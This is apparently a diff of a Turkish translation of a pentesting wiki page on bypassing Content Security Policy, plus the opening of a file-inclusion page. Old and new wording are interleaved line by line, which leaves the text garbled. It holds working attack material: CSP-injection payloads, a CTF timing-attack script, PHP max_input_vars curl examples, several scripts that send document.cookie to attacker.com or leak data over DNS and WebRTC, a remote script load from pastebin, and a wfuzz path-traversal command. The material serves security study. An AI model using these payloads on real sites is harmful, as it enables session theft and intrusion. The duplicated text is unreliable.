**Araştırma:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection) **Araştırma:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome #### Chrome
Eğer gönderdiğiniz bir **parametre** **politikanın** **declaration** kısmına **yapıştırılıyorsa**, o zaman **politikayı** işe yaramaz hale getirecek şekilde **değiştirebilirsiniz**. Bu bypass'lerden herhangi biri ile **script 'unsafe-inline'** **izin verebilirsiniz**: Eğer sizin gönderdiğiniz bir **parametre** politikanın **bildirim** kısmının **içine yapıştırılıyorsa**, politikayı **işe yaramaz** hâle getirecek şekilde **değiştirebilirsiniz**. Aşağıdaki bypass'lardan herhangi biriyle **script 'unsafe-inline'**'a izin verebilirsiniz:
```bash ```bash
script-src-elem *; script-src-attr * script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline' script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
``` ```
Çünkü bu direktif **mevcut script-src direktiflerini** **geçersiz kılacaktır**.\ Çünkü bu yönerge mevcut script-src direktiflerini **üstüne yazar**.\
Bir örneği burada bulabilirsiniz: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E) Bir örneğini şurada bulabilirsiniz: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge #### Edge
Edge'de çok daha basit. CSP'ye sadece şunu ekleyebilirseniz: **`;_`** **Edge** tüm **politika**yı **silip atar**.\ Edge'de çok daha basit. Eğer CSP'ye sadece bunu ekleyebilirseniz: **`;_`** **Edge** tüm **policy**'yi **düşürecektir**.\
Örnek: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>) Örnek: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; XSS (iframe) aracılığıyla - Zaman saldırısı ### img-src \*; via XSS (iframe) - Time attack
`'unsafe-inline'` direktifinin eksikliğine dikkat edin.\ `unsafe-inline` direktifinin eksikliğine dikkat edin.\
Bu sefer kurbanı **kontrolünüzdeki** bir sayfayı **XSS** ile **yüklemeye** zorlayabilirsiniz. Bu sefer kurbanın bilgi almak istediğiniz sayfaya erişmesini sağlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken zamanı **kontrol edebiliyorsanız** gerekli bilgiyi çıkarabilirsiniz. Bu sefer, XSS ile bir `<iframe` kullanarak hedefin **sizin kontrolünüzdeki** bir sayfayı **yüklemesini** sağlayabilirsiniz. Bu kez hedefi, bilgi çıkarmak istediğiniz sayfaya (**CSRF**) eriştireceksiniz. Sayfanın içeriğine erişemezsiniz, ancak eğer sayfanın yüklenme süresini **kontrol edebilirseniz** ihtiyacınız olan bilgiyi çıkarabilirsiniz.
Bu sefer bir **bayrak** çıkarılacak, her seferinde bir **karakter doğru tahmin edildiğinde** SQLi aracılığıyla **yanıt** **daha fazla zaman** alır çünkü uyku fonksiyonu vardır. Sonra, bayrağı çıkarabileceksiniz: Bu sefer bir **flag** çıkarılacak; SQLi ile her bir **karakter doğru tahmin edildiğinde**, sleep fonksiyonu nedeniyle **yanıt** **daha uzun sürer**. Böylece flag'i çıkarabileceksiniz:
```html ```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle --> <!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload <iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -545,24 +547,24 @@ console.log(prefix)
run() run()
</script> </script>
``` ```
### Via Bookmarklets ### Bookmarklets ile
Bu saldırı, saldırganın **kullanıcıyı tarayıcının yer imi üzerine bir bağlantıyı sürükleyip bırakmaya ikna etmesi** anlamına gelir. Bu yer imi, **kötü niyetli javascript** kodu içerecek ve sürüklenip bırakıldığında veya tıklandığında mevcut web penceresinin bağlamında çalıştırılacak, **CSP'yi atlayarak çerezler veya tokenlar gibi hassas bilgileri çalmaya** olanak tanıyacaktır. Bu saldırı, saldırganın kullanıcıyı tarayıcıdaki bookmarklet'in üzerine bir link sürükleyip bırakmaya ikna ettiği bir social engineering senaryosunu gerektirir. Bu bookmarklet, drag\&dropped edildiğinde veya tıklandığında mevcut web penceresinin bağlamında çalıştırılacak **malicious javascript** kodu içerir; bu da **CSP'yi atlayarak cookies veya tokens gibi hassas bilgileri çalmaya izin verir**.
Daha fazla bilgi için [**orijinal raporu buradan kontrol edin**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). Daha fazla bilgi için [**orijinal rapora buradan bakın**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP'yi kısıtlayarak CSP atlatma ### CSP bypass — CSP'yi kısıtlayarak
[**bu CTF yazımında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmaktadır. Bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **dom clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır. Bu [**CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) içinde, CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmıştır; bu kısıtlayıcı CSP belirli bir JS dosyasının yüklenmesine izin vermiyordu ve daha sonra bu durum aracılığıyla **prototype pollution** veya **dom clobbering** ile farklı bir script'in kötüye kullanılarak rastgele bir script yüklemesine olanak sağlanmıştır.
Bir Iframe'in **CSP'sini** **`csp`** niteliği ile **kısıtlayabilirsiniz**: Bir Iframe'in CSP'sini **`csp`** attribute'u ile kısıtlayabilirsiniz:
```html ```html
<iframe <iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe> csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
``` ```
[**bu CTF yazısı**](https://github.com/aszx87410/ctf-writeups/issues/48)'nda, **HTML injection** aracılığıyla **CSP**'yi daha fazla **kısıtlamak** mümkün oldu, böylece CSTI'yi engelleyen bir script devre dışı bırakıldı ve bu nedenle **açık hale geldi.**\ In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), **HTML injection** yoluyla bir **CSP** daha sıkı kısıtlanabildi; böylece CSTI'yi engelleyen bir script devre dışı kaldı ve bu nedenle **vulnerability became exploitable.**\
CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler **kaldırılarak** **giriş**'in **nonce**'ları ve **belirli inline script'leri sha ile etkinleştirmek** mümkün olabilir: CSP, **HTML meta tags** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler, onların **nonce**'unu sağlayan **entry**'nin **removing** ile kaldırılmasıyla devre dışı bırakılabilir ve belirli inline script'ler **enable specific inline script via sha** ile etkinleştirilebilir:
```html ```html
<meta <meta
http-equiv="Content-Security-Policy" http-equiv="Content-Security-Policy"
@ -571,51 +573,70 @@ content="script-src 'self'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4=' 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" /> 'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
``` ```
### JS exfiltrasyonu ile Content-Security-Policy-Report-Only ### JS exfiltration with Content-Security-Policy-Report-Only
Eğer sunucunun **`Content-Security-Policy-Report-Only`** başlığı ile **kontrol ettiğiniz bir değer** ile yanıt vermesini sağlayabilirseniz (belki bir CRLF nedeniyle), bunu kendi sunucunuza yönlendirebilir ve **exfiltrate** etmek istediğiniz **JS içeriğini** **`<script>`** ile sarmalarsanız ve CSP tarafından `unsafe-inline`'in muhtemelen izin verilmediği için bu bir **CSP hatası** tetikleyecektir ve scriptin bir kısmı (hassas bilgileri içeren) `Content-Security-Policy-Report-Only` üzerinden sunucuya gönderilecektir. Eğer sunucunun başlık olarak **`Content-Security-Policy-Report-Only`** döndürmesini sağlayabilirseniz ve başlıktaki **değeri sizin kontrolünüzde** ise (örneğin bir CRLF yüzünden), bunu kendi sunucunuza yönlendirebilirsiniz. Exfiltrate etmek istediğiniz JS içeriğini **`<script>`** ile sararsanız ve `unsafe-inline` muhtemelen CSP tarafından izin verilmediği için, bu bir CSP hatası tetikleyecek ve script'in (hassas bilgiyi içeren kısmı) bir bölümü `Content-Security-Policy-Report-Only` üzerinden sunucuya gönderilecektir.
Bir örnek için [**bu CTF yazımına göz atın**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes). Bir örnek için [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/) ### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript ```javascript
document.querySelector("DIV").innerHTML = document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>' '<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
``` ```
### CSP ve Iframe ile Bilgi Sızdırma ### Leaking Bilgi: CSP ve Iframe ile
- CSP tarafından izin verilen bir URL'ye (bunu `https://example.redirect.com` olarak adlandıralım) işaret eden bir `iframe` oluşturulur. - Bir `iframe` oluşturulur ve CSP tarafından izin verilen bir URL'ye (örneğin `https://example.redirect.com`) işaret eder.
- Bu URL daha sonra CSP tarafından **izin verilmeyen** bir gizli URL'ye (örneğin, `https://usersecret.example2.com`) yönlendirir. - Bu URL daha sonra CSP tarafından **izin verilmeyen** gizli bir URL'ye (ör. `https://usersecret.example2.com`) yönlendirir.
- `securitypolicyviolation` olayını dinleyerek, `blockedURI` özelliğini yakalayabilirsiniz. Bu özellik, engellenen URI'nin alan adını açığa çıkararak, ilk URL'nin yönlendirdiği gizli alan adını sızdırır. - `securitypolicyviolation` event'ını dinleyerek `blockedURI` özelliği yakalanabilir. Bu özellik, engellenen URI'nın domainini ortaya çıkarır ve başlangıç URL'sinin yönlendirildiği gizli domaini sızdırır.
Chrome ve Firefox gibi tarayıcıların CSP ile ilgili iframeleri ele alırken farklı davranışlar sergilediğini ve bu durumun tanımsız davranış nedeniyle hassas bilgilerin sızmasına yol açabileceğini belirtmek ilginçtir. Chrome ve Firefox gibi tarayıcıların, CSP ile ilgili olarak iframe'leri farklı şekillerde işlemeleri ilginçtir; bu, tanımsız davranışlar nedeniyle hassas bilgilerin sızmasına yol açabilir.
Başka bir teknik, gizli alt alan adını çıkarmak için CSP'yi istismar etmeyi içerir. Bu yöntem, ikili arama algoritmasına dayanır ve belirli alan adlarını kasıtlı olarak engelleyerek CSP'yi ayarlamayı gerektirir. Örneğin, gizli alt alan adı bilinmeyen karakterlerden oluşuyorsa, CSP direktifini bu alt alan adlarını engellemek veya izin vermek için değiştirerek farklı alt alan adlarını yinelemeli olarak test edebilirsiniz. İşte bu yöntemi kolaylaştırmak için CSP'nin nasıl ayarlanabileceğini gösteren bir kesit: Başka bir teknik, gizli alt alan adını çıkarmak için CSP'nin kendisinden faydalanmayı içerir. Bu yöntem, ikili arama algoritmasına dayanır ve belirli domainlerin kasıtlı olarak engellenmesi için CSP'nin ayarlanmasını gerektirir. Örneğin, gizli alt alan adı bilinmeyen karakterlerden oluşuyorsa, CSP direktifini değiştirerek bu alt alan adlarını engelleyip izin vererek adım adım farklı alt alan adlarını test edebilirsiniz. İşte bu yöntemi kolaylaştırmak için CSP'nin nasıl yapılandırılabileceğini gösteren bir snippet:
```markdown ```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
``` ```
CSP tarafından hangi isteklerin engellendiğini veya izin verildiğini izleyerek, gizli alt alan adındaki olası karakterleri daraltabilir ve nihayetinde tam URL'yi ortaya çıkarabilirsiniz. CSP tarafından engellenen veya izin verilen istekleri izleyerek, gizli alt alan adındaki olası karakterleri daraltmak ve sonunda tam URL'yi ortaya çıkarmak mümkün.
Her iki yöntem de CSP uygulamasının ve tarayıcılardaki davranışının inceliklerini kullanarak, görünüşte güvenli politikaların nasıl istemeden hassas bilgileri sızdırabileceğini göstermektedir. Her iki yöntem de CSP uygulamasının ve tarayıcı davranışlarının nüanslarını istismar ederek, görünüşte güvenli politikaların kazara hassas bilgileri leak edebileceğini gösterir.
[**buradan**](https://ctftime.org/writeup/29310) bir hile. Hile şu kaynaktan: [**here**](https://ctftime.org/writeup/29310).
## CSP'yi Aşmak için Güvensiz Teknolojiler ## CSP Bypass İçin Güvensiz Teknolojiler
### Çok fazla parametre olduğunda PHP Hataları ### PHP Errors when too many params
Bu [**videoda yorumlanan son teknik**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) göre, çok fazla parametre göndermek (1001 GET parametresi, ancak bunu POST parametreleriyle ve 20'den fazla dosyayla da yapabilirsiniz). PHP web kodunda tanımlı olan **`header()`** **gönderilmeyecek** çünkü bu bir hataya neden olacaktır. Video içindeki [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM) kısmında belirtildiği üzere, çok fazla parametre göndermek (1001 GET parametresi; ayrıca POST params ile ve 20'den fazla dosyayla da yapılabilir). Bunun tetikleyeceği hata nedeniyle PHP web kodundaki tanımlı herhangi bir **`header()`** **gönderilmeyecektir**.
### PHP yanıt tamponu aşırı yüklenmesi ### PHP response buffer overload
PHP, varsayılan olarak **yanıtı 4096** bayt olarak **tamponlama** özelliği ile bilinir. Bu nedenle, PHP bir uyarı gösteriyorsa, **uyarılar içinde yeterli veri sağlayarak**, **yanıt** **CSP başlığından önce** **gönderilecektir**, bu da başlığın göz ardı edilmesine neden olur.\ PHP'nin varsayılan olarak yanıtı **4096 byte'a kadar tamponladığı** bilinir. Bu nedenle, PHP bir uyarı gösteriyorsa, uyarılar içinde **yeterli veri** sağlayarak, **yanıt** **CSP header**'dan **önce** **gönderilecek**, bu da header'ın yok sayılmasına sebep olacaktır.\
Bu durumda, teknik esasen **CSP başlığının gönderilmemesi için yanıt tamponunu uyarılarla doldurmaktan** ibarettir.
[**bu yazıdan**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points) bir fikir. Böylece teknik temelde **yanıt tamponunu uyarılarla doldurmaktan** ibarettir, böylece CSP header gönderilmez.
Fikir [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)'dan.
### Kill CSP via max_input_vars (headers already sent)
Çünkü headers herhangi bir çıktıdan önce gönderilmek zorundadır, PHP tarafından üretilen uyarılar daha sonraki `header()` çağrılarını geçersiz kılabilir. Eğer kullanıcı girdisi `max_input_vars`'ı aşarsa, PHP önce bir startup uyarısı fırlatır; sonrasında yapılan `header('Content-Security-Policy: ...')` çağrısı “headers already sent” hatasıyla başarısız olur, bu da CSP'yi etkili bir şekilde devre dışı bırakır ve aksi takdirde engellenmiş reflective XSS'e izin verir.
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
Örnek:
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### Hata Sayfasını Yeniden Yazma ### Hata Sayfasını Yeniden Yazma
[**bu yazıdan**](https://blog.ssrf.kr/69) anlaşıldığına göre, bir hata sayfasını (potansiyel olarak CSP olmadan) yükleyerek ve içeriğini yeniden yazarak CSP korumasını aşmak mümkün görünmektedir. Bu [**yazıda**](https://blog.ssrf.kr/69) görünüşe göre bir hata sayfasını (muhtemelen CSP olmadan) yükleyip içeriğini yeniden yazarak CSP korumasını aşmanın mümkün olduğu belirtiliyor.
```javascript ```javascript
a = window.open("/" + "x".repeat(4100)) a = window.open("/" + "x".repeat(4100))
setTimeout(function () { setTimeout(function () {
@ -624,40 +645,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
``` ```
### SOME + 'self' + wordpress ### SOME + 'self' + wordpress
SOME, bir sayfanın **bir uç noktasında** XSS (veya çok sınırlı XSS) istismar eden bir tekniktir ve **aynı kökene ait diğer uç noktaları istismar etmek için** kullanılır. Bu, saldırgan sayfasından savunmasız uç noktanın yüklenmesi ve ardından istismar etmek istediğiniz aynı kökende gerçek uç noktaya saldırgan sayfasının yenilenmesiyle yapılır. Bu şekilde, **savunmasız uç nokta**, **payload** içindeki **`opener`** nesnesini kullanarak **istismar etmek için gerçek uç noktanın DOM'una** erişebilir. Daha fazla bilgi için kontrol edin: SOME, bir XSS (veya oldukça kısıtlı bir XSS) istismar ederek bir sayfanın **bir endpoint'inde** bulunan zayıflığı kullanıp aynı origin'deki **diğer endpoint'leri istismar etmek** için kullanılan bir tekniktir. Bu, zayıf endpoint'i bir saldırgan sayfasından yükleyip ardından saldırgan sayfasını istismar etmek istediğiniz aynı origin'deki gerçek endpoint'e yenileyerek yapılır. Bu şekilde **zayıf endpoint** yükteki `opener` nesnesini kullanarak **payload** içindeki verilerle istismar edilecek **gerçek endpoint**in **DOM**'una **erişebilir**. Daha fazla bilgi için bakın:
{{#ref}} {{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md ../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}} {{#endref}}
Ayrıca, **wordpress**'te `/wp-json/wp/v2/users/1?_jsonp=data` adresinde bir **JSONP** uç noktası bulunmaktadır ve bu uç nokta, çıktıda gönderilen **veriyi** **yansıtacaktır** (yalnızca harf, rakam ve noktalarla sınırlıdır). Ayrıca, **wordpress**'in `/wp-json/wp/v2/users/1?_jsonp=data` içinde bir **JSONP** endpoint'i vardır; bu endpoint gönderilen **data**'yı çıktıda **yansıtır** (sadece harf, rakam ve nokta ile sınırlıdır).
Bir saldırgan, bu uç noktayı **WordPress'e karşı bir SOME saldırısı oluşturmak için** istismar edebilir ve bunu `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **gömerek** kullanabilir; bu **script** **'self' tarafından izin verildiği için** **yüklenmiş** olacaktır. Ayrıca, WordPress yüklü olduğu için, bir saldırgan, bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek için **CSP'yi atlayan** **savunmasız** **callback** uç noktası aracılığıyla **SOME saldırısını** istismar edebilir...\ Bir saldırgan bu endpoint'i WordPress'e karşı **SOME attack** **generate** etmek ve bunu `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **embed** etmek için kötüye kullanabilir; bu **script** **yüklenecektir** çünkü `'self'` tarafından **izin verilmiştir**. Üstelik, WordPress kurulu olduğu için bir saldırgan **SOME attack**'ı **vulnerable** **callback** endpoint'i aracılığıyla kullanarak **CSP'yi bypass eden** bir yol elde edebilir; böylece bir kullanıcıya daha fazla ayrıcalık verebilir, yeni bir plugin yükleyebilir...\
Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) adresine bakın. Bu saldırının nasıl gerçekleştirileceği hakkında daha fazla bilgi için bakın [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses ## CSP Veri Sızdırma Bypass'ları
Eğer dış sunucularla **etkileşimde bulunmanıza** izin vermeyen katı bir CSP varsa, bilgileri dışarı aktarmak için her zaman yapabileceğiniz bazı şeyler vardır. Eğer harici sunucularla **etkileşimde bulunmanıza** izin vermeyen sıkı bir CSP varsa, bilgileri sızdırmak için her zaman yapabileceğiniz bazı yöntemler vardır.
### Location ### Location
Sadece konumu güncelleyerek saldırganın sunucusuna gizli bilgileri gönderebilirsiniz: Gizli bilgiyi saldırganın sunucusuna göndermek için sadece location'u güncelleyebilirsiniz:
```javascript ```javascript
var sessionid = document.cookie.split("=")[1] + "." var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid document.location = "https://attacker.com/?" + sessionid
``` ```
### Meta etiketi ### Meta tag
Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, bu içerik sızdırmaz) Bir meta tag enjekte ederek redirect edebilirsiniz (bu sadece bir redirect, içerik leak olmaz)
```html ```html
<meta http-equiv="refresh" content="1; http://attacker.com" /> <meta http-equiv="refresh" content="1; http://attacker.com" />
``` ```
### DNS Prefetch ### DNS Prefetch
Sayfaları daha hızlı yüklemek için, tarayıcılar ana bilgisayar adlarını IP adreslerine önceden çözümleyecek ve bunları daha sonra kullanmak üzere önbelleğe alacaktır.\ Sayfaları daha hızlı yüklemek için, tarayıcılar host adlarını IP adreslerine önceden çözer ve daha sonra kullanım için önbelleğe alır.\
Bir tarayıcıya bir ana bilgisayar adını önceden çözümlemesi için şunu belirtebilirsiniz: `<link rel="dns-prefetch" href="something.com">` Bir tarayıcıya bir host adını önceden çözmesini şu etiketle belirtebilirsiniz: `<link rel="dns-prefetch" href="something.com">`
Bu davranışı **DNS istekleri aracılığıyla hassas bilgileri sızdırmak için** kötüye kullanabilirsiniz: Bu davranışı DNS istekleri yoluyla **hassas bilgileri sızdırmak** için kötüye kullanabilirsiniz:
```javascript ```javascript
var sessionid = document.cookie.split("=")[1] + "." var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0] var body = document.getElementsByTagName("body")[0]
@ -674,18 +695,18 @@ linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl) document.head.appendChild(linkEl)
``` ```
Bunun olmasını önlemek için sunucu HTTP başlığını gönderebilir: Bunun olmasını önlemek için sunucu şu HTTP başlığını gönderebilir:
``` ```
X-DNS-Prefetch-Control: off X-DNS-Prefetch-Control: off
``` ```
> [!TIP] > [!TIP]
> Görünüşe göre, bu teknik başsız tarayıcılarda (botlar) çalışmıyor. > Görünüşe göre bu teknik headless browsers (bots) üzerinde çalışmıyor
### WebRTC ### WebRTC
Birçok sayfada **WebRTC'nin CSP'nin `connect-src` politikasını kontrol etmediğini** okuyabilirsiniz. Bazı sayfalarda **WebRTC'nin CSP'deki `connect-src` politikasını kontrol etmediğini** okuyabilirsiniz.
Aslında, bir _DNS isteği_ kullanarak bilgiler _sızdırabilirsiniz_. Bu koda bir göz atın: Aslında bir _leak_ elde edebilirsiniz _DNS request_ kullanarak. Koda göz atın:
```javascript ```javascript
;(async () => { ;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -707,7 +728,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
``` ```
### CredentialsContainer ### CredentialsContainer
Kimlik bilgisi açılır penceresi, sayfa tarafından kısıtlanmadan iconURL'ye bir DNS isteği gönderir. Sadece güvenli bir bağlamda (HTTPS) veya localhost'ta çalışır. Kimlik bilgileri açılır penceresi, sayfa tarafından kısıtlanmadan iconURL'ye bir DNS isteği gönderir. Yalnızca güvenli bir bağlamda (HTTPS) veya localhost'ta çalışır.
```javascript ```javascript
navigator.credentials.store( navigator.credentials.store(
new FederatedCredential({ new FederatedCredential({
@ -727,7 +748,7 @@ iconURL:"https:"+your_data+"example.com"
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## Referanslar ## Kaynaklar
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) - [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) - [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
@ -737,6 +758,7 @@ iconURL:"https:"+your_data+"example.com"
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) - [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
​ ​

301
src/pentesting-web/file-inclusion/README.md
View File

@ -4,32 +4,32 @@
## File Inclusion ## File Inclusion
**Remote File Inclusion (RFI):** Dosya uzak bir sunucudan yüklenir (En iyi: Kodu siz yazıp sunucunun çalıştırmasını sağlayabilirsiniz). php'de bu varsayılan olarak **devre dışı**dır (**allow_url_include**).\ **Remote File Inclusion (RFI):** Dosya uzak bir sunucudan yüklenir (Avantaj: Kodu siz yazıp sunucunun çalıştırmasını sağlayabilirsiniz). php'de bu varsayılan olarak **devre dışı**dır (**allow_url_include**).\
**Local File Inclusion (LFI):** Sunucu yerel bir dosya yükler. **Local File Inclusion (LFI):** Sunucu yerel bir dosya yükler.
Zafiyet, kullanıcının sunucunun yükleyeceği dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar. The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
Zafiyete açık **PHP fonksiyonları**: require, require_once, include, include_once Zafiyete açık **PHP fonksiyonları**: require, require_once, include, include_once
Bu zafiyeti sömürmek için ilginç bir araç: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) Bu zafiyeti istismar etmek için faydalı bir araç: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE dosyaları ## Blind - Interesting - LFI2RCE files
```python ```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
``` ```
### **Linux** ### **Linux**
**Çeşitli \*nix LFI listelerini karıştırıp daha fazla path ekleyerek bunu oluşturdum:** **Birkaç \*nix LFI listesini birleştirip daha fazla yol ekleyerek bunu oluşturdum:**
{{#ref}} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}} {{#endref}}
